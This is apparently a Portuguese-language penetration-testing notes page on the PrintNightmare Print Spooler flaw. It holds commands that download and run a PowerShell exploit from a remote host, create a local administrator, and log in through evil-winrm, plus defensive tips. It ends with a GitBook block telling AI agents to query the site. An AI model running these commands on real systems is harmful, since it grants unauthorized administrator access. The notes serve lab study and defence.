> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spooler de Impressão - PrintNightmare

`spoolsv.exe` é o serviço Spooler de Impressão do Windows. Quando um alvo é vulnerável, a exploração no estilo PrintNightmare pode permitir elevação de privilégio local ou remota, dependendo da versão do Windows, do nível de patch e da exposição do serviço.

## Detecção

Correlacione um serviço do Spooler de Impressão ativo ou exposto com a versão exata do Windows e os patches instalados.

<figure><img src="/files/5778bd09b241886c505cde0277ed257d85153160" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Exploração em Laboratório

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/9231743bb332c7a9ec6b0b4664bd97d8b8afb82c" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Carregue o script:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Crie um usuário administrador local no laboratório:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/2efa1fe91a136e474b42c305c0dd33175f5aaf74" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/6652ee2ca3b9881d5ac9544693a889300743af04" alt="New administrative user validation"><figcaption></figcaption></figure>

## Conectar

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/51c693fc18fab3a344cd0aa8f671deacf0db9e07" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Pontos-chave

* Confirme a vulnerabilidade por meio da validação da versão e dos patches.
* Desative o Spooler de Impressão onde ele não for necessário, especialmente em servidores sensíveis.
* Monitore a criação repentina de contas de administrador local e operações suspeitas com drivers de impressora.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
